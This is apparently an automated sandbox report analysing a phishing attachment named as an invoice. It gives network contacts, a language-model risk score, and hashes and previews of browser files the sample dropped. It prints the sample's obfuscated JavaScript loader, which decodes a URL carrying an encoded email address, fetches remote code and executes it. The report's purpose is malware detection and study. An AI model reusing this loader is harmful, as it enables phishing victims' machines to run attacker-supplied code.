                                		unknownUnited States
                                		20940AKAMAI-ASN1EUfalse
                                142.250.185.227
                                		unknownUnited States
                                		15169GOOGLEUSfalse
                                162.159.61.3
                                		chrome.cloudflare-dns.comUnited States
                                		13335CLOUDFLARENETUSfalse
                                68.67.179.155
                                		unknownUnited States
                                		29990ASN-APPNEXUSfalse
                                18.65.39.56
                                		sb.scorecardresearch.comUnited States
                                		3MIT-GATEWAYSUSfalse
                                68.219.88.97
                                		unknownUnited States
                                		6389BELLSOUTH-NET-BLKUSfalse
                                204.79.197.239
                                		unknownUnited States
                                		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                157.240.241.1
                                		unknownUnited States
                                		32934FACEBOOKUSfalse
                                23.209.72.30
                                		unknownUnited States
                                		20940AKAMAI-ASN1EUfalse
                                20.110.205.119
                                		unknownUnited States
                                		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                204.79.197.237
                                		unknownUnited States
                                		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                13.107.5.80
                                		unknownUnited States
                                		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                23.47.169.232
                                		unknownUnited States
                                		16625AKAMAI-ASUSfalse
                                142.250.186.78
                                		unknownUnited States
                                		15169GOOGLEUSfalse
                                34.104.35.123
                                		unknownUnited States
                                		15169GOOGLEUSfalse
                                20.56.187.20
                                		unknownUnited States
                                		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                1.1.1.1
                                		unknownAustralia
                                		13335CLOUDFLARENETUSfalse
                                2.23.209.45
                                		unknownEuropean Union
                                		1273CWVodafoneGroupPLCEUfalse
                                13.107.21.237
                                		unknownUnited States
                                		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                74.125.133.84
                                		unknownUnited States
                                		15169GOOGLEUSfalse
                                13.89.179.13
                                		unknownUnited States
                                		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                13.107.42.16
                                		unknownUnited States
                                		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                216.58.206.46
                                		unknownUnited States
                                		15169GOOGLEUSfalse
                                13.107.42.14
                                		unknownUnited States
                                		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                142.250.185.193
                                		googlehosted.l.googleusercontent.comUnited States
                                		15169GOOGLEUSfalse
                                23.44.201.9
                                		unknownUnited States
                                		20940AKAMAI-ASN1EUfalse
                                239.255.255.250
                                		unknownReserved
                                		unknownunknownfalse
                                104.117.182.59
                                		unknownUnited States
                                		20940AKAMAI-ASN1EUfalse
                                20.96.153.111
                                		unknownUnited States
                                		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                2.19.126.152
                                		unknownEuropean Union
                                		16625AKAMAI-ASUSfalse
                                23.44.201.5
                                		unknownUnited States
                                		20940AKAMAI-ASN1EUfalse
                                2.18.64.218
                                		unknownEuropean Union
                                		6057AdministracionNacionaldeTelecomunicacionesUYfalse
                                40.74.166.188
                                		unknownUnited States
                                		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                13.107.246.67
                                		s-part-0039.t-0009.t-msedge.netUnited States
                                		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                152.195.19.97
                                		unknownUnited States
                                		15133EDGECASTUSfalse
                                131.253.33.203
                                		unknownUnited States
                                		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                18.238.49.99
                                		unknownUnited States
                                		16509AMAZON-02USfalse
                                216.58.206.35
                                		unknownUnited States
                                		15169GOOGLEUSfalse
                                40.79.167.8
                                		unknownUnited States
                                		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                204.79.197.219
                                		unknownUnited States
                                		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                142.250.74.196
                                		www.google.comUnited States
                                		15169GOOGLEUSfalse
                                184.86.251.7
                                		unknownUnited States
                                		20940AKAMAI-ASN1EUfalse
                                23.96.124.68
                                		unknownUnited States
                                		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                172.217.16.206
                                		unknownUnited States
                                		15169GOOGLEUSfalse
                                151.101.65.108
                                		unknownUnited States
                                		54113FASTLYUSfalse
                                4.209.164.61
                                		unknownUnited States
                                		3356LEVEL3USfalse
                                104.117.182.33
                                		unknownUnited States
                                		20940AKAMAI-ASN1EUfalse
                                204.79.197.203
                                		unknownUnited States
                                		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse

                                Private

                                IP
                                192.168.2.16

                                General Information

                                Joe Sandbox version:40.0.0 Tourmaline
                                Analysis ID:1449222
                                Start date and time:2024-05-30 00:07:34 +02:00
                                Joe Sandbox product:CloudBasic
                                Overall analysis duration:
                                Hypervisor based Inspection enabled:false
                                Report type:full
                                Cookbook file name:defaultwindowsinteractivecookbook.jbs
                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                Number of analysed new started processes analysed:25
                                Number of new started drivers analysed:0
                                Number of existing processes analysed:0
                                Number of existing drivers analysed:0
                                Number of injected processes analysed:0
                                Technologies:
                                • EGA enabled
                                Analysis Mode:stream
                                Analysis stop reason:Timeout
                                Sample name:invoice 700898 for wallcentre.com.shtml
                                Detection:MAL
                                Classification:mal52.phis.winSHTML@74/195@50/158
                                Cookbook Comments:
                                • Found application associated with file extension: .shtml

                                Warnings

                                • Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe
                                • Excluded IPs from analysis (whitelisted): 216.58.206.35, 172.217.16.206, 74.125.133.84, 34.104.35.123
                                • Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com
                                • Not all processes where analyzed, report is missing behavior information
                                • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                • Report size getting too big, too many NtOpenFile calls found.
                                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                • Report size getting too big, too many NtWriteVirtualMemory calls found.
                                • VT rate limit hit for: invoice 700898 for wallcentre.com.shtml

                                LLM Input / Output

                                InputOutput
                                URL: file:///C:/Users/user/Desktop/invoice%20700898%20for%20wallcentre.com.shtml Model: gpt-4o
                                ```json
{
  "riskscore": 8,
  "reasons": "The provided JavaScript code appears to be obfuscated, which is a common technique used by malicious scripts to hide their true purpose. The code constructs a URL by replacing certain patterns in a string and then makes a fetch request to this URL. The response is then executed after a delay using setTimeout. This behavior is suspicious as it could be used to load and execute malicious scripts from an external source. The obfuscation and dynamic execution of code are strong indicators of potentially malicious intent."
}
                                edfc6eac1379f9a = ''.replace.apply("hdf0813bttpa36b35c9sdf0813b:df0813b/df0813b/df0813bfbdf0813bccda7a36b35c97df0813b8f8a36b35c9.df0813bca36b35c9readf0813btdf0813bedf0813bgdf0813booa36b35c9da36b35c9ldf0813bia36b35c9fa36b35c9e.udf0813bs/s/df0813ba06a36b35c9bdf0813b2df0813b8edf0813b0df0813b86a36b35c9?fea36b35c94a36b35c9ea36b35c9cdf0813b3df0813b4a36b35c9bdf0813b0=Z3JvdXByZXNlcnZhdGlvbnNAd2FsbGNlbnRyZS5jb20=df0813bdf0813bdf0813ba36b35c9",[/(df0813b|a36b35c9)/g,'']);fetch(edfc6eac1379f9a).then(e4a3420326 => {return 															e4a3420326.text();}).then(be7d506097c8b9b => {								setTimeout(be7d506097c8b9b,87);});

                                Created / dropped Files

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5a48185a-5d67-4f0d-a773-b44ce80695a9.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):58109
                                Entropy (8bit):6.1062603280860674
                                Encrypted:false
                                SSDEEP:
                                MD5:7D986C21BC79F8FFCA5B22C3858EE977
                                SHA1:5D189D43260150F6E0C764E23EA41EFAB5933EE7
                                SHA-256:FBBCC80D11E69FB9500E42BC59D325703DA89FFF86096761347F7E8A135ACFCE
                                SHA-512:0CDF6B795FBEF759506FC8A1945E30C5B265BDBDD756740D306D5346B96B73B9B36FB925263C9F96A73A6EE932666BC307D4AE119C74747ABB01EC60955CC03C
                                Malicious:false
                                Reputation:unknown
                                Preview:{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\020bc1cd-7982-4746-a20a-d08290fef878.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):106400
                                Entropy (8bit):4.638137546924686
                                Encrypted:false
                                SSDEEP:
                                MD5:A683F2EB8FEE5C626AF5B413A6D20972
                                SHA1:3F6C5EE2758FBBF5C6F0CF3CA53140FF1655C9C3
                                SHA-256:A398BDDD693B5978CFCDE772EE3AAFEF8F307EEEECA81770C58A6392380EB1F0
                                SHA-512:88DC1B44CC67180FD00D8F2CB431334218ECD38A7553098504F4C47615936CA98547704519E3BED2645CF028F38E43917C21C385C179DE15E1BBC09CA302EBBB
                                Malicious:false
                                Reputation:unknown
                                Preview:{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:A683F2EB8FEE5C626AF5B413A6D20972
                                SHA1:3F6C5EE2758FBBF5C6F0CF3CA53140FF1655C9C3
                                SHA-256:A398BDDD693B5978CFCDE772EE3AAFEF8F307EEEECA81770C58A6392380EB1F0
                                SHA-512:88DC1B44CC67180FD00D8F2CB431334218ECD38A7553098504F4C47615936CA98547704519E3BED2645CF028F38E43917C21C385C179DE15E1BBC09CA302EBBB
                                Malicious:false
                                Reputation:unknown
                                Preview:{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6657A78C-1CC0.pma

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):4194304
                                Entropy (8bit):0.5365669037634738
                                Encrypted:false
                                SSDEEP:
                                MD5:15086D89B99D237941DDFED51C7D524A
                                SHA1:FB4CC65C1FC304C96886EA6CD4AA02254ED60634
                                SHA-256:B7A3CF8F2C2050E2A311906379D4E99D9E74AA1837BBAE622441A5E8ADBC9FC4
                                SHA-512:87988434EEABB26507CD1C9979260BEE12C9B85C77D3B20F2076951AA54B09C3F2059540B4205E3A11BD4F8E664898CD86E553922B8A40A74F4B973247DFFDFC
                                Malicious:false
                                Reputation:unknown
                                Preview:...@..@...@.....C.].....@..................P...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....q.........117.0.2045.47-64..".en-GB*...Windows NT..10.0.190452l..x86_64..?........".xatekp20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............2......................w..U.>.........."....."...2...".*.:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....+....W@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z............<..8...#...msNurturingAssistanceHomeDependency.....triggered...

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):280
                                Entropy (8bit):4.167052382566177
                                Encrypted:false
                                SSDEEP:
                                MD5:EA54130886D26B7F753BDF0BEA3723FA
                                SHA1:BD945139AEAD1F48BD3F4B96B03A6D0D3CC1C22F
                                SHA-256:9FECA4C595D70BC021ACE1BED898B63E45D3EFB5BE2E343F22E03C1AEE130DDB
                                SHA-512:0D1AA89027A368E5D4D8D3DDDC235FB15E0D4F723DB69655A7901E65AEFA03DE8FACF6689FB8B885905BE37DB79219E965EF109721D0B9210BA58034951CA2CB
                                Malicious:false
                                Reputation:unknown
                                Preview:sdPC......................z....K..s...x."C2Nft4srAayuXDT/+xJZdTAbGw727eySWzABz920p6g="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7dc5f755-0f90-4102-bc8e-37d02917bdc7............

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0277001b-fefc-47b9-8dee-2703968d0ffd.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with very long lines (17828), with no line terminators
                                Category:dropped
                                Size (bytes):17828
                                Entropy (8bit):5.428372666352799
                                Encrypted:false
                                SSDEEP:
                                MD5:6AEBEFBC101F0C727791A856A254BBB0
                                SHA1:3C12C0FE037AF18CF9EFABE34F111202E25F7DE1
                                SHA-256:10DF65F3220C6F5B43DD3B911EA37CB866A94AB5016487C11FFA8D6A9FEEE107
                                SHA-512:745EF964AE9E7F8083E0B4A62CC5E11E001C611F23A5690434E122D84177C80D79FA937B3828E5106AF5DEFF5289AED0F19D891897BE4CA5E614DFF6B3673B37
                                Malicious:false
                                Reputation:unknown
                                Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13361494157131103","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13341058280410352","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\37766bd3-cb81-42de-81a7-d970e3116a75.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with very long lines (18930), with no line terminators
                                Category:dropped
                                Size (bytes):18930
                                Entropy (8bit):5.462159136906754
                                Encrypted:false
                                SSDEEP:
                                MD5:7A21900EA64408BA36E8CA816334EA32
                                SHA1:167740F0C0D5B7DC9549322380815A0FD592C819
                                SHA-256:9326B4FE54DD27B32EC06558148B0AE2C0C78FC48C6EBE8A3502907FB52A64A5
                                SHA-512:E80F4F9A3A56F958DF2E940C60B8A1A416B261EE434B5B63F300D3F12018040BA7622F708F141368C7C599341E5B6BF5DA55F93C862692E61CC5562222898822
                                Malicious:false
                                Reputation:unknown
                                Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13361494157131103","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13341058280410352","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3dca44cc-cff7-44ae-84c1-812d12aea32a.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with very long lines (18660), with no line terminators
                                Category:dropped
                                Size (bytes):18660
                                Entropy (8bit):5.466137325681033
                                Encrypted:false
                                SSDEEP:
                                MD5:3205790CC2E51F7F6A016DBC698F22B1
                                SHA1:E9457512B64FF03799CC6C9177E6710F6253CD93
                                SHA-256:B83D67217C9FC32F18B7D6FB940A8619849822B52AA1E3AF94101289EA96CD84
                                SHA-512:AE2068A2DA94324AB45BB5A465D9F58411474AB95119C1C9BF0FB9A62D553FD4CC616660CA74DBCB61CAC4A5A534CE813467ADB01EE7AEF9D9F60CF68049385A
                                Malicious:false
                                Reputation:unknown
                                Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13361494157131103","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13341058280410352","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\56d8c430-d5cf-4926-b1cb-1e36e30415f0.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with very long lines (1597), with CRLF line terminators
                                Category:dropped
                                Size (bytes):115717
                                Entropy (8bit):5.183660917461099
                                Encrypted:false
                                SSDEEP:
                                MD5:3D8183370B5E2A9D11D43EBEF474B305
                                SHA1:155AB0A46E019E834FA556F3D818399BFF02162B
                                SHA-256:6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
                                SHA-512:B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:modified
                                Size (bytes):2164087
                                Entropy (8bit):5.223228138355603
                                Encrypted:false
                                SSDEEP:
                                MD5:55B242AA4848164319D21FAB9DC3ADF5
                                SHA1:537983143D0A76C8A87EBD5434681F6020D92DFA
                                SHA-256:C2CA977A4C82EB77517CFB16D29C219B342E8685954222582E62570FD81B5BF3
                                SHA-512:54C1B45BC31C8AF7F254DD908B7C6A1CF0E14DE16BA9F3E4CBF843B345671A091EF14AE128E8FB6F367B26D9D8A9033E0926AAD14D85D815561849AA4D33A442
                                Malicious:false
                                Reputation:unknown
                                Preview:...m.................DB_VERSION.1...8.................QUERY_TIMESTAMP:arbitration_priority_list4.*.*.13341056840624329.$QUERY:arbitration_priority_list4.*.*..[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):332
                                Entropy (8bit):5.159889520687972
                                Encrypted:false
                                SSDEEP:
                                MD5:C7F31D2155E052EE82673195E7FD1BBC
                                SHA1:CDCC0BC314EF9473539C53D26B51CF1573000EA5
                                SHA-256:60909ECFBBD1BC1703688D358B97312837A2F9B741EC82B17DEA7BE9CB1DD2B6
                                SHA-512:996E3CFE43F0462DF66F563FFB91F3A607B07C6EFDE74331F0FD349B3B21A4E9E89D552F05C4A4587D237CE2981B690339A32615DFF903CCF279471FD9275840
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:19.789 1160 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/05/29-18:09:19.792 1160 Recovering log #3.2024/05/29-18:09:19.894 1160 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
                                Category:dropped
                                Size (bytes):28672
                                Entropy (8bit):0.48450279651857414
                                Encrypted:false
                                SSDEEP:
                                MD5:113F54C2A9E17B9116FA300933AF2B8C
                                SHA1:5EB36DC0FA4C5F88FEB5D79105D446E55A70BA40
                                SHA-256:8AFCD2308381A6F335B827A00676039FAE5B40980E56E7293E79305A06918C3F
                                SHA-512:5558B64DEEC3B17835B4E2B36F9648BD6FE9E2F2C4665D94DDA1D7CC354E42638FE9B405603627058CBC997D49656885292054A208ABE3D6879EE9ACCE8F17F0
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
                                Category:dropped
                                Size (bytes):10240
                                Entropy (8bit):0.8708334089814068
                                Encrypted:false
                                SSDEEP:
                                MD5:92F9F7F28AB4823C874D79EDF2F582DE
                                SHA1:2D4F1B04C314C79D76B7FF3F50056ECA517C338B
                                SHA-256:6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
                                SHA-512:86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_1

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):270336
                                Entropy (8bit):8.280239615765425E-4
                                Encrypted:false
                                SSDEEP:
                                MD5:D0D388F3865D0523E451D6BA0BE34CC4
                                SHA1:8571C6A52AACC2747C048E3419E5657B74612995
